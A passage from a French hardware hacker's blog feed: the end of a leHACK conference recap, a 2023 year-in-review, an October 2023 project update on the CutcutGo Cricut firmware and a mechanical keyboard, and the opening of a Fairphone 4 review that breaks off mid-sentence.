menée dans le cadre d'une intrusion réelle, dans la vraie vie. Il est toujours
cocasse de voir à quel point les attaquants peuvent se moquer du choix de leurs
mots de passe, ou se tirer dans les pattes à coup de &lt;em&gt;keyloggers&lt;/em&gt;. Le passage
en revue de la méthodologie, l'identification des indicateurs de compromission
et la timeline de cette dernière sont très intéressantes. Bon talk, dommage
qu'il ait été un peu cours (mais l'orateur parlait vite, donc bon ça ne compte
pas 😉).&lt;/p&gt;
&lt;p&gt;Après un aller-retour à la maison pour récupérer les minis-moi qui participent
à leHACK Kidz et les avoir confiés aux animateurs, la seconde journée de leHACK
commence. Le premier talk auquel j'ai assisté était celui d'Erwan Corbier, aka
&amp;quot;biero&amp;quot;, qui expliquait comment un groupe activiste pouvait monter des attaques
ciblant des installations industrielles tout en étant furtif et en se basant
sur de la recherche exhaustive de mots de passe, technique observée IRL et
exploitée par différentes groupes. L'approche &amp;quot;tutorial&amp;quot; de ce talk est quelque
peu déroutante, mais l'orateur a pris le soin de ne pas trop mâcher le travail
pour des attaquants voulant reprendre sa méthodologie.&lt;/p&gt;
&lt;p&gt;La première présentation de l'après-midi fut celle de Shutdown (Charlie Bromberg),
&lt;a class="reference external" href="https://lehack.org/fr/track/trouver-sa-place-dans-linfosec/"&gt;Trouver sa place dans l'infosec&lt;/a&gt;.
Ce talk m'intéressait particulièrement pour plusieurs raisons, dont la principale
est qu'étant dans ce milieu depuis un moment je ne suis plus forcément au fait
de ce qu'est l'infosec actuellement quand on débute. J'ai pu échanger avec des
étudiants rencontrés durant l'évènement, qui m'ont fait part de leur difficulté
à trouver des jobs dans le domaine alors que l'on nous répète à l'envie que c'est
un secteur qui embauche à tour de bras et manque cruellement de candidats. Bref,
c'était l'occasion d'avoir le retour d'une personne qui a déjà plusieurs années
dans l'infosec et qui fait le point sur tous ces aspects qui n'existaient pas ou peu
quand j'ai commencé: bug bounty, mindset, ressources, etc. Et je n'ai vraiment
pas été déçu. J'avais déjà vu Shutdown sur scène lors de la précédente édition,
et il est clairement fait pour ce type d'exercice: il est vraiment à l'aise
devant le public, sait dérouler son sujet tout en gardant le public intéressé,
plaisante avec aisance... Il a notamment évoqué la pratique du bug bounty en
fonction du contexte (CDI/freelance), des salaires dans l'infosec en fonction
des pays (au passage, top de rappeler que les salaires alléchants des US
tiennent compte du coût de la vie, y compris la santé), de la balance pro/perso,
avec des témoignages et conseils d'autres personnes comme Lupin (Roni Carta) et
d'autres hunters. C'est d'ailleurs étonnant de voir que maintenant en infosec
on juge le niveau des personnes en fonction de leur classement sur YesWeHack 😋.&lt;/p&gt;
&lt;p&gt;Il y a tout de même un point super important qui a été évoqué à plusieurs
reprises dans ce talk: le fait de &lt;em&gt;rentrer dans le moule&lt;/em&gt;. Et ça fait pas mal
écho à ce que disait K. Melton la veille, que certaines personnes peuvent tout
à fait convenir à un job en se forçant à &lt;em&gt;rentrer dans le moule&lt;/em&gt;, mais qu'il
fallait faire attention au burn-out qui pointerait son nez au bout d'un certain
temps. Shutdown le mentionne également dans son talk, insistant sur le fait qu'il
a du faire des choix pour arriver à concilier vie perso et vie pro.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="second-talk-premier-gros-stress"&gt;
&lt;h2&gt;Second talk &amp;amp; premier gros stress&lt;/h2&gt;
&lt;p&gt;Je n'ai pas suivi les autres talks car je devais aller m'occuper de la chambre
d'hôtel mais aussi me préparer pour mon second talk, &lt;a class="reference external" href="https://lehack.org/fr/track/a-praise-to-laziness-or-why-hackers-are-awesome-people/"&gt;a praise to laziness (or why
hackers are awesome people)&lt;/a&gt;.
J'avais donné un talk abordant le sujet de la paresse à un meetup du DEF CON Group Paris il y a quelques années,
mais c'était un embryon de celui que j'ai soumis cette année à leHACK. J'ai
longuement hésité avant de le soumettre, sachant que je comptais aborder un
sujet non-technique et que ça impliquait aussi de parler de neurodiversité,
sujet sur lequel je ne suis pas très à l'aise. J'y aborde en effet la question
d'une possible prévalence de profils neuro-atypiques dans le monde du hacking
et de l'infosec en particulier, car tout comme l'a mentionné Shutdown dans
son talk (et K. Melton indirectement), il existe un &lt;em&gt;mindset hacker&lt;/em&gt; et il est
légitime de se demander si ce &lt;em&gt;mindset&lt;/em&gt; ne ferait pas référence à une manière
de fonctionner, chose que j'ai beaucoup entendu dans de nombreuses discussions
ou témoignages de hackers. Ce qui implique de parler de troubles neurodéveloppementaux
comme le TDAH (Trouble du Déficit de l'Attention avec ou sans Hyper-activité) ou
le TSA (Trouble du Spectre de l'Autisme), car les personnes atteintes de ces
troubles peuvent avoir certaines capacités qui correspondent à ce fameux &lt;em&gt;mindset
hacker&lt;/em&gt;. Mais aussi des difficultés associées, évoquées par ailleurs par K. Melton
dans son talk, difficultés qui ne sont pas forcément visibles (cf. le handicap
invisible dont K. Melton parlait dans son talk).&lt;/p&gt;
&lt;p&gt;Je n'étais vraiment pas serein sur ces sujets car ne m'estimant absolument pas
légitime, mais je suis persuadé tout comme K. Melton qu'il est important d'en
parler, quitte à prendre le risque de mal dire les choses et me faire corriger.
À ce jour, je ne sais toujours pas exactement comment mon propos a été perçu
ni s'il était pertinent, j'espère juste sincèrement que je n'ai pas énervé ou
froissé des personnes concernées, ma plus grande hantise étant qu'elles se
demandent en quoi ce type qui s'est excité sur scène peut parler au nom des
hackers qui vivent avec ces troubles. Je crois que c'est le premier talk que
je fais depuis des années pour lequel je suis complètement flippé du retour.
Je parlais d'ailleurs dans la conclusion de ce talk que sortir de sa zone
de confort est challengeant, j'ai oublié de rajouter que c'est aussi très
stressant et que ça peut ressembler à une plongée vers l'inconnu.&lt;/p&gt;
&lt;p&gt;J'ai rencontré par la suite des personnes qui avaient assisté à mon talk et qui
m'ont dit que certains points que j'avais évoqué leur parlaient beaucoup, que
ce soit sur l'aspect &amp;quot;asynchrone&amp;quot; du travail (une journée non-productive suivie
d'une journée ultra-productive qui rattrappe la précédente) ou encore les
difficultés qu'elles rencontraient. Il y a eu des discussions, des partages
d'expériences, et cela a un peu atténué l'opinion (médiocre) que j'avais de ma
prestation. J'ai aussi eu droit à un peu de discours &lt;em&gt;validistes&lt;/em&gt;, et j'ai essayé
d'expliquer de mon mieux et de faire comprendre un autre point de vue.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="remise-du-black-badge-aux-gagnants-du-challenge"&gt;
&lt;h2&gt;Remise du black badge aux gagnants du challenge&lt;/h2&gt;
&lt;p&gt;Cette édition de leHACK était aussi particulière car le challenge du &lt;em&gt;black
badge&lt;/em&gt; faisait son grand retour. Ce challenge est relativement simple: si un
(ou plusieur) participants résolvent le challenge du badge, il(s)/elle(s)
remportent un badge collector donnant accès à vie à l'évènement: le &lt;em&gt;black badge&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ce challenge a été résolu durant la conférence et le &lt;em&gt;black badge&lt;/em&gt; que j'avais
conçu durant ces derniers mois a été remporté par &lt;strong&gt;Les Pires Hats&lt;/strong&gt; ! Je suis super satisfait du
rendu final, et encore bravo aux hackers qui ont collaboré pour réussir
l'ensemble des étapes 🤘.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="qui-veut-gagner-des-bitcoins"&gt;
&lt;h2&gt;Qui veut gagner des bitcoins&lt;/h2&gt;
&lt;p&gt;Enfin, la journée de samedi s'achève avec l'organisation du jeu &lt;em&gt;Qui Veut Gagner
des Bitcoins&lt;/em&gt;, un quizz interactif orienté infosec/hacking/culture générale dans
lequel le public participe pour gagner des lots. Tout s'est à peu près bien
déroulé, sauf un fail de ma part: je n'ai pas emmené avec moi la toute dernière
version du soft qui fait tourner le jeu, et c'est parti en sucette à un moment
donné 😱. Gros flip, mais je m'en suis sorti et le jeu a pu se terminer comme
prévu, avec la victoire de la team &lt;strong&gt;Azgar&lt;/strong&gt; !&lt;/p&gt;
&lt;p&gt;Il est minuit, je n'ai plus trop de voix, je suis fatigué, mais on passe un peu
de temps au wargame avec un de mes minis-moi histoire de lui montrer à quoi ça
ressemble. Il est deux heures du matin passées, on plie bagage et on part en
direction de l'hôtel. Fin de cette édition leHACK en ce qui me concerne, je suis
rincé et je mérite bien quelques heures de sommeil avant de prendre le train et
de retrouver mon chez-moi.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="le-mot-de-la-fin"&gt;
&lt;h2&gt;Le mot de la fin&lt;/h2&gt;
&lt;p&gt;Cette édition de leHACK fut encore une fois riche en rencontres, très intéressante
notamment grâce à des talks moins techniques mais touchant à des thèmes connexes
au hacking, et toujours aussi éprouvante 😅. Il y a aussi eu du fun (&amp;quot;votez Exegoche&amp;quot;),
je me suis éclaté à faire à nouveau &lt;em&gt;Qui Veut Gagner des Bitcoins&lt;/em&gt;, et j'ai
l'impression que cette vingtième édition a gagné en maturité. Encore un p*tain de
grand merci à l'organisation, aux volontaires qui font un taf de dingue pour que
tout se passe comme sur des roulettes, Psycho pour les introductions de talks,
Kodokan pour son implication de malade dans leHACK Kidz et les gars de la régie
qui assurent pour que tout se passe nickel sur scène avec du son et de la vidéo
qui fonctionne 😘 !&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="events"/><category term="humeur"/></entry><entry><title>Bye bye 2023, hello 2024 !</title><link href="https://virtualabs.fr/humeur/bye-bye-2023-hello-2024" rel="alternate"/><published>2023-12-31T21:00:00+01:00</published><updated>2023-12-31T21:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2023-12-31:/humeur/bye-bye-2023-hello-2024</id><summary type="html">&lt;img alt="" src="/images/2023-12-31/happy-new-year.jpg" /&gt;
&lt;p&gt;L'année 2023 se termine doucement et c'est l'occasion de se prêter à l'exercice habituel
du bilan de l'année et des plans pour la nouvelle qui arrive. 2023 a été pas mal remplie,
mouvementée, intéressante, déprimante, dense et se termine dans quelques heures lorsque
j'écris ce billet. C'est parti pour une …&lt;/p&gt;</summary><content type="html">&lt;img alt="" src="/images/2023-12-31/happy-new-year.jpg" /&gt;
&lt;p&gt;L'année 2023 se termine doucement et c'est l'occasion de se prêter à l'exercice habituel
du bilan de l'année et des plans pour la nouvelle qui arrive. 2023 a été pas mal remplie,
mouvementée, intéressante, déprimante, dense et se termine dans quelques heures lorsque
j'écris ce billet. C'est parti pour une tentative d'analyse de cette année passée et le
début des bonnes résolutions que je ne vais pas réussir à tenir.&lt;/p&gt;
&lt;div class="section" id="les-resolutions-de-2023"&gt;
&lt;h2&gt;Les résolutions de 2023&lt;/h2&gt;
&lt;p&gt;Et on commence par le suivi (ou non) des résolutions prises en début d'année 2023. Pour
rappel, elles se résumaient globalement à cela:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;rester focus sur au moins un projet tout au long de l'année, en l'occurrence le portage
de GRBL sur la Cricut Maker ;&lt;/li&gt;
&lt;li&gt;éviter de me lancer dans 40 projets en parallèle (oui, c'est un corollaire du point précédent
mais on y reviendra) ;&lt;/li&gt;
&lt;li&gt;streamer plus sereinement, en me souciant moins des statistiques ou des attentes des viewers ;&lt;/li&gt;
&lt;li&gt;publier plus de billets de blog.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je suis sûr que j'oublie quelques détails que j'ai pu évoquer durant le premier stream de l'année
2023, mais je crois que les résolutions les plus importantes sont là. Car oui, c'est principalement
sur Twitch que ces résolutions ont été évoquées, vu que j'ai failli au billet du nouvel an cette
année...&lt;/p&gt;
&lt;p&gt;En ce qui concerne la première, je suis assez surpris d'avoir à peu près tenu toute l'année sur
le projet de la Cricut Maker, mais aussi de l'avancée de ce dernier ! Certes, tout n'est pas
parfait, mais je pense avoir réussi dans la grande majorité à faire un live Twitch sur la Cricut
Maker par semaine de stream mais surtout d'approcher de semaine en semaine d'un résultat honorable !
Bon d'accord, il y a quelques fois où j'ai fait une entorse, mais on en reparle un peu plus loin
dans ce billet.&lt;/p&gt;
&lt;p&gt;Pour ce qui est de ne pas s'éparpiller, c'est assez mitigé. Je pense avoir tenu bon jusqu'en août,
mais après c'est parti en sucette. Il y a ce projet de R&amp;amp;D (WHAD) sur lequel je travaille depuis plus
d'un an qui a un peu vampirisé les streams de fin d'année, et qui d'ailleurs risque de vampiriser un
peu en début 2024 (encore une fois, on en reparle plus loin dans le billet). Je me fais violence pour
ne pas démarrer de nouveaux projets, mais je manque aussi régulièrement de motivation pour finir
ceux entamés. Ce n'est pas faute de vouloir bien faire, juste que je ne sais pas, ça devient moins
intéressant et en fonction de la période je sais que ça ne sert à rien que je m'y mette car ça va
être très pénible. Et si c'est pénible pour moi, ça sera aussi pénible pour ceux qui regardent les
streams. D'un côté je me dis que c'est bien, que j'ai quand même réussi à m'améliorer, mais d'un autre
il y a cette frustration de ne pas avoir pu faire tout ce qui me passait par la tête et qui aurait
été super fun, rafraîchissant, challengeant parfois.&lt;/p&gt;
&lt;p&gt;Je pense avoir réussi à streamer plus sereinement en ne cherchant plus à atteindre un certain
nombre de viewers sur les lives et en ne regardant plus les statistiques des résumés de streams envoyés
par StreamElements ou même Twitch. Ça fait un bien fou, et le fait de me répéter constamment que non,
je ne suis pas et ne serai jamais un streamer professionnel (sic) aide énormément à prendre du recul.
Je fais ce qui me plait, des gens regardent et apprécient (ou pas) ce que je fais, certains soutiennent
les différents projets de différentes manières, et ça me va très bien.&lt;/p&gt;
&lt;p&gt;Enfin, l'année 2023 est celle qui a vu le plus de billets de blog publiés par rapport aux années
précédentes (4 billets, un record) ! C'est mieux, mais je pourrais en rédiger un peu plus tout
de même...&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="une-annee-plus-tendue"&gt;
&lt;h2&gt;Une année plus tendue&lt;/h2&gt;
&lt;p&gt;2023 a été beaucoup plus éprouvante sur le plan personnel 😔. Je ne suis pas du genre à m'épancher sur mon
quotidien ou ma vie en général (ma vie privée reste privée), mais mars 2023 a marqué un petit tournant
dans celle-ci. Je sais que ça a pu se voir durant certains streams, que certaines fois c'était pas la
grande forme, et j'ai été très surpris de la bienveillance des personnes qui étaient présentes et du
soutien que j'ai pu avoir. Bien que je n'ai rien dit sur ce qu'il se passait (et vous n'aurez pas de
précisions dans ce billet, vous m'en voyez désolé), ça m'a tout de même remonté le moral quand j'en
avais besoin. Un merci tout particulier à une personne qui j'espère lira ce billet, qui a pu m'aider
et a été d'un soutien et d'une aide très importante durant cette année (coeur sur toi, vraiment).&lt;/p&gt;
&lt;p&gt;La bonne nouvelle dans tout ça, c'est que je commence à avoir un genre de mode d'emploi de moi-même
(et c'est pas rien, à bientôt quarante balais)
et cela a déjà commencé à impacter ce que je fais et a changé pas mal de trucs, en mieux. En pratique
vous ne verrez rien de particulier, mais de mon côté ça m'a amélioré le quotidien et me permet d'être
plus serein qu'auparavant. Alors oui, je sais bien que sans en dire plus ce sont des banalités, mais
je vous assure que pour moi ça fait une grande différence ! Peut-être qu'à un moment je pourrais en
dire plus ici, cependant je crois qu'il est plus sage pour l'instant d'en rester là.&lt;/p&gt;
&lt;p&gt;Néanmoins, il se peut que cela change aussi les bonnes résolutions que j'avais envisagé pour 2024.
Je me retrouve face à un dilemme: soit je décide de me forcer à faire des choses et cela va être
difficile à tenir car il va falloir que je lutte contre moi-même, soit je décide d'accepter mon
fonctionnement propre et d'assumer le fait qu'il me soit impossible de les tenir.
Il va falloir faire un choix, et c'est pour très bientôt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-commu-twitch"&gt;
&lt;h2&gt;La &amp;quot;commu&amp;quot; Twitch&lt;/h2&gt;
&lt;p&gt;S'il y a un truc avec lequel j'ai encore beaucoup de mal, c'est la &amp;quot;commu&amp;quot;. Je ne suis pas du genre
à chercher à rassembler les foules, et je suis donc extrêmement peu doué pour:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;fédérer des gens autour d'une chaîne Twitch ;&lt;/li&gt;
&lt;li&gt;animer et maintenir une communauté de personnes ;&lt;/li&gt;
&lt;li&gt;organiser des évènements autour de la communauté (oui, tiens, parlons-en du live anniversaire ...) ;&lt;/li&gt;
&lt;li&gt;appeler les membres de la communauté par un petit nom (genre les &amp;quot;lutinos&amp;quot;, ma &amp;quot;poiscaille&amp;quot;, ce genre de trucs) ;&lt;/li&gt;
&lt;li&gt;communiquer sur ce que je fais, vais faire, ou animer un compte de réseau social (oui vous aussi vous avez remarqué
que mon compte Instagram est presque mort-né ?) ;&lt;/li&gt;
&lt;li&gt;faire mon auto-promo.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Heureusement, certains membres du discord m'aident un peu sur ce point et cela est toujours appréciable, même
si de mon côté j'ai toujours cette impression de ne rien faire de spécial et ce depuis des années 🤷‍♂️.&lt;/p&gt;
&lt;p&gt;Mais merci encore à tous ceux qui me suivent dans mes conneries, c'est toujours un plaisir de vous avoir et de
partager en live 😁.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="les-projets-en-2023"&gt;
&lt;h2&gt;Les projets en 2023&lt;/h2&gt;
&lt;p&gt;J'ai réussi à faire des trucs sympa en 2023, dont notamment:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Un hack de la pile protocolaire BLE de l'ESP32, qui a donné lieu à &lt;a class="reference external" href="https://www.sstic.org/2023/presentation/reverse_de_piles_protocolaires_embarquees_esp32/"&gt;un travail plus conséquent mené conjointement
avec Romain Cayre&lt;/a&gt; ;&lt;/li&gt;
&lt;li&gt;Le projet de cadenas électronique qui a bien avancé et doit passer en phase finale début 2024 ;&lt;/li&gt;
&lt;li&gt;Le portage de GRBL sur la Cricut Maker (&lt;a class="reference external" href="https://virtualabs.github.io/cutcutgo/"&gt;projet CutcutGo&lt;/a&gt;) qui est opérationnel mais nécessite encore des améliorations ;&lt;/li&gt;
&lt;li&gt;L'assemblage d'un &lt;a class="reference external" href="https://github.com/kkatano/bakeneko-65"&gt;clavier mécanique DIY Bakeneko65&lt;/a&gt; ;&lt;/li&gt;
&lt;li&gt;Le développement d'un framework de hack wireless qui devrait être publié en 2024 (mais bon, ça c'est aussi un sujet de R&amp;amp;D à Quarkslab) ;&lt;/li&gt;
&lt;li&gt;L'ajout du support de la famille de SoCs STM32WLxx dans &lt;a class="reference external" href="https://github.com/virtualabs/libopencm3/tree/new-arch-stm32-wl/lib/stm32"&gt;la libopencm3&lt;/a&gt; et l'intégration de son transceiver SubGHZ ;&lt;/li&gt;
&lt;li&gt;et je dois en oublier quelques autres ...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;S'ajoute à cela quelques présentations concernant les sujets ci-dessus (et d'autres liés à mon boulot) dont certaines
m'ont permis de voyager un peu et d'autres de rencontrer des personnes cool pas loin de chez moi 😉. J'appréhendais un
peu de refaire des talks et de retourner dans des conférences, mais faut dire que ça faisait du bien de retrouver les
différentes ambiances et de profiter de quelques talks bien installé dans une salle de conf plutôt que devant un
écran.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="alors-2024-ca-se-presente-comment"&gt;
&lt;h2&gt;Alors, 2024, ça se présente comment ?&lt;/h2&gt;
&lt;p&gt;Ça se présente pas mal du tout en réalité. Même si sur le plan moral c'est toujours aussi incertain
(mais je me soigne), j'ai tout plein de projets pour 2024. Que ce soit pour des sujets de talks, de
workshops, des projets personnels et les projets en cours (non, je ne lâcherai pas la Cricut Maker),
ça fourmille d'idées. Je prépare un stream Twitch de rentrée, avec une petite rétrospective de 2023,
durant lequel je dessinerai les grandes lignes de 2024 et expliciterai les choix que je ferai sous peu.&lt;/p&gt;
&lt;p&gt;Il se pourrait qu'ils soient radicaux, que je trace un trait sur des projets en cours mais pour lesquels
la motivation est tombée à zéro, que je change certains trucs dans ma manière de streamer ou de bosser
sur mes projets personnels. C'est assez flou au moment où je rédige ce billet, mais ça sera plus clair
courant janvier&lt;/p&gt;
&lt;p&gt;Côté résolutions, forcément ce n'est pas très clair non plus pour le moment mais dans les grandes
lignes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Continuer tant bien que mal le hack de la Cricut Maker ;&lt;/li&gt;
&lt;li&gt;Essayer de faire des trucs qui me plaisent vraiment, quitte à aller dans tous les sens ;&lt;/li&gt;
&lt;li&gt;Trouver le temps de faire plus de hack qu'en 2023 ;&lt;/li&gt;
&lt;li&gt;Mettre à jour le blog encore plus souvent.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Sur ce, je vous souhaite une très bonne année 2024 et mes meilleurs voeux (et tout plein de résolutions à tenir, ou pas) !&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="projets"/><category term="opensource"/><category term="streaming"/></entry><entry><title>Point sur les projets, Octobre 2023</title><link href="https://virtualabs.fr/projets/update-projets-oct23" rel="alternate"/><published>2023-10-21T16:00:00+02:00</published><updated>2023-10-21T16:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2023-10-21:/projets/update-projets-oct23</id><summary type="html">&lt;img alt="" src="/images/2023-10-21/toomany.jpg" /&gt;
&lt;div class="section" id="cutcutgo-avance-bien"&gt;
&lt;h2&gt;CutcutGo avance bien !&lt;/h2&gt;
&lt;p&gt;Le projet CutcutGo, qui vise à fournir un firmware de remplacement pour la Maker de Cricut, avance
plutôt bien. En effet, j'ai pu boucler le développement d'un bootloader permettant la mise-à-jour
du firmware de la machine via USB, ce qui permet une maintenance plus simple et évite …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;img alt="" src="/images/2023-10-21/toomany.jpg" /&gt;
&lt;div class="section" id="cutcutgo-avance-bien"&gt;
&lt;h2&gt;CutcutGo avance bien !&lt;/h2&gt;
&lt;p&gt;Le projet CutcutGo, qui vise à fournir un firmware de remplacement pour la Maker de Cricut, avance
plutôt bien. En effet, j'ai pu boucler le développement d'un bootloader permettant la mise-à-jour
du firmware de la machine via USB, ce qui permet une maintenance plus simple et évite de devoir
utiliser le connecteur situé sous la machine pour déployer une nouvelle version du logiciel.&lt;/p&gt;
&lt;p&gt;C'était à mon sens une des premières fonctionnalités critiques que je devais implémenter pour
permettre aux beta-testeurs de tester facilement les versions en cours de développement et de
pouvoir restauter une version fonctionnelle en cas de souci, et cela sans avoir à sortir un
programmateur.&lt;/p&gt;
&lt;p&gt;J'ai aussi pu améliorer la façon dont le micro-logiciel gère le démarrage et l'arrêt de la
machine ainsi que la calibration automatique du moteur de l'axe X afin de pouvoir s'adapter
aux légères différences qu'il existe entre les machines. On s'approche de plus en plus de
quelque chose d'utilisable, même si certaines fonctionnalités sont encore manquantes... Il
n'est pas encore possible d'utiliser une connexion Bluetooth Low Energy pour piloter la machine,
et la fonctionnalité de &lt;em&gt;print then cut&lt;/em&gt; disponible sur la machine d'origine est loin d'être
implémentée. Ceci dit, je suis très satisfait du résultat et de comment le projet avance,
sachant que je le développe seulement durant les streams (à raison d'une soirée par semaine).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="the-padlock-patine-un-peu"&gt;
&lt;h2&gt;The Padlock patine un peu&lt;/h2&gt;
&lt;p&gt;Ce projet est quasi terminé, mais comme dans tous mes projets c'est la fin qui est très difficile
à gérer. J'ai un prototype entièrement fonctionnel, que je vais passer à des collègues dans un
futur très proche pour qu'ils le testent et me donnent leur avis sur la complexité et l'originalité
des tâches à réaliser, sachant que cela doit convenir au débutant tout comme au reverser confirmé.&lt;/p&gt;
&lt;p&gt;Je pense attaquer la finalisation de ce projet courant novembre, mais à mon humble avis il ne sera
pas bouclé avant janvier 2024. Ça me fait mal de l'écrire, mais je sais que la fin d'année va être
pas mal remplie donc je ne prévois pas grand chose pour décembre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="projets-impromptus"&gt;
&lt;h2&gt;Projets impromptus&lt;/h2&gt;
&lt;p&gt;J'avais pris une bonne résolution en janvier de cette année, celle de ne pas m'éparpiller dans mes
projets comme je le fais d'habitude, sans rien terminer (qui a dit ADHD ? -- faudra qu'on en parle
un des ces jours par ailleurs...). Et je crois que pour le
moment, à l'exception d'un ou deux streams Twitch où il fallait absolument que je me change les
idées, j'ai pour le moment réussi à m'y tenir.&lt;/p&gt;
&lt;p&gt;Cependant, je dois avouer que ce n'est vraiment pas simple. J'accumule du matériel acheté au cours
de l'année dans une boîte, la boîte des &amp;quot;trucs à bidouiller plus tard&amp;quot;, qui commence à être bien
remplie. J'ai de quoi hacker pour faire des consoles portables à base d'ESP32, un téléphone
opensource, des trucs permettant de hacker des protocoles radios, des badges électroniques cools,
et plus encore. Mais globalement pas assez de temps pour ne faire que 10% de tout cela.&lt;/p&gt;
&lt;p&gt;Et ça ne va pas s'arranger, car il y a tout le temps un truc qui capte mon attention et me tend
les bras en attendant que je cède à la nouveauté et qu'il vienne s'ajouter à la longue liste
de trucs super intéressants que je dois faire mais qu'en fait non, car je lutte pas mal pour
rester sur mes deux projets principaux. Sauf que j'ai fait une rechute, récemment.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="l-enfer-des-claviers-mecaniques"&gt;
&lt;h2&gt;L'enfer des claviers mécaniques&lt;/h2&gt;
&lt;p&gt;J'ai cédé à un caprice technologique, aucune idée du pourquoi. Un jour, je traînais sur
Amazon et je suis tombé sur un clavier Qwerty 60%. Un petit clavier mécanique, avec des beaux switchs
et un format très intéressant. Et je me suis dit que ça serait une bonne idée de me mettre à un
clavier qwerty, et tant qu'à faire tester ce clavier. Oui, ça fait des années que des collègues
me demandent pourquoi je n'utilise pas de clavier Qwerty pour le développement, et effectivement,
pourquoi ? Alors j'ai craqué. J'ai acheté ce petit clavier 60%, ai reconfiguré tous mes systèmes
pour l'utiliser, et ai passé une rude semaine à passer mes habitudes de Azerty à Qwerty. Pas
simple, mais pas si éprouvant que cela.&lt;/p&gt;
&lt;p&gt;Aujourd'hui, je ne regrette absolument pas d'avoir franchi le pas. Oui, le clavier Qwerty est une
bénédiction pour le développeur: tous les caractères spéciaux utilisés dans les différents langages
de programmations sont accessibles directement, le pavé numérique est inutile, et les caractères
accentués ne sont pas si nécessaires que cela. Seul hic: mon clavier de laptop du boulot qui est
en Azerty et qui m'embrouille de temps à autre le cerveau.&lt;/p&gt;
&lt;p&gt;Alors oui, je suis content avec mon clavier 60%, mais il y a des choses que j'aimerais améliorer
dessus. L'absence de flèches directionnelles se fait parfois sentir, tout comme les touches &lt;em&gt;Page Up&lt;/em&gt;
et &lt;em&gt;Page Down&lt;/em&gt;. Et là je découvre qu'il existe des claviers 65% qui possèdent ces touches, et qui
sont opensource de surcroit ! C'est un enfer. Je vais me fabriquer mon clavier 65% &lt;em&gt;from scratch&lt;/em&gt;
et je suis super content de cela. Non, je n'aurais jamais du mettre les doigts sur ce type de
claviers, je me suis fait happé et je suis parti pour des années de customisation de layout et
de discussions autour des différentes marques et types de switches mécaniques... Fuyez, pauvres
fous !&lt;/p&gt;
&lt;p&gt;Sans compter que ça va de fait casser mon assiduité à mes projets principaux.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Projets"/><category term="projets"/><category term="opensource"/><category term="streaming"/></entry><entry><title>Review honnête du Fairphone 4</title><link href="https://virtualabs.fr/humeur/fairphone-honest-review" rel="alternate"/><published>2023-08-13T23:00:00+02:00</published><updated>2023-08-13T23:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2023-08-13:/humeur/fairphone-honest-review</id><summary type="html">&lt;img alt="" src="/images/fp4/fp4-review-header.png" /&gt;
&lt;p&gt;Après avoir mis 50€ dans des pièces de remplacement pour mon Huawei Mate 20 (mon smartphone depuis 5 ans, qui en avait
bien besoin), le voici à nouveau mal en point: écran cassé et coque arrière explosée malgré une coque de protection. D'accord, je n'aurais peut-être pas du le laisser …&lt;/p&gt;</summary><content type="html">&lt;img alt="" src="/images/fp4/fp4-review-header.png" /&gt;
&lt;p&gt;Après avoir mis 50€ dans des pièces de remplacement pour mon Huawei Mate 20 (mon smartphone depuis 5 ans, qui en avait
bien besoin), le voici à nouveau mal en point: écran cassé et coque arrière explosée malgré une coque de protection. D'accord, je n'aurais peut-être pas du le laisser sur une chaise noire, dans sa coque de protection noire... J'étais
parti pour dépenser à nouveau 50€ sur AliExpress en pièces de rechange, lorsque ma chère et tendre femme me fait
remarquer que je pourrais le changer pour en prendre un nouveau, vu que cela fait 5 ans que je l'utilise.&lt;/p&gt;
&lt;p&gt;Si vous avez lu mon billet précédent (cf. &lt;a class="reference external" href="https://virtualabs.fr/humeur/right-to-repair"&gt;De la réparabilité des bidules high-tech&lt;/a&gt;), vous devez savoir que je préfère nettement réparer un smartphone
que d'en acheter un nouveau, donc ma réaction première a été de rejeter directement l'idée d'en changer. Sauf que
(attendez un peu avant de me jeter les tomates). Je me suis promis que mon prochain smartphone serait un Fairphone
si l'ancien venait à lâcher (si si, vous vous en souvenez si vous avez bien lu le billet précédent jusqu'au bout),
et après réflexion c'était l'occasion d'en avoir un avec une remise de mon opérateur, donc moins cher. Même si
l'idée d'acheter un nouveau smartphone ne me plaisait que moyennement, celle d'avoir un Fairphone me plaisait quand
même un peu beaucoup, et pour tout plein de raisons. Pas de panique, je vais réparer mon Mate 20 par la suite
et lui redonner une nouvelle jeunesse (ou à de la jeunesse ?).&lt;/p&gt;
&lt;div class="section" id="pourquoi-j-achete-un-fairphone-4"&gt;
&lt;h2&gt;Pourquoi j'achète un Fairphone 4&lt;/h2&gt;
&lt;p&gt;Acheter un nouveau smartphone alors que l'on peut en trouver un reconditionné ou réparé, c'est complètement débile
et ça consomme des ressources qui se font rares. L'ami &lt;a class="reference external" href="https://www.inforea.tech/"&gt;Inforea&lt;/a&gt; n'a pas manqué de me le rappeler, et il a totalement
raison sur ce point. Si vous cherchez un smartphone pour faire du montage vidéo, des jeux et de belles photos assistées
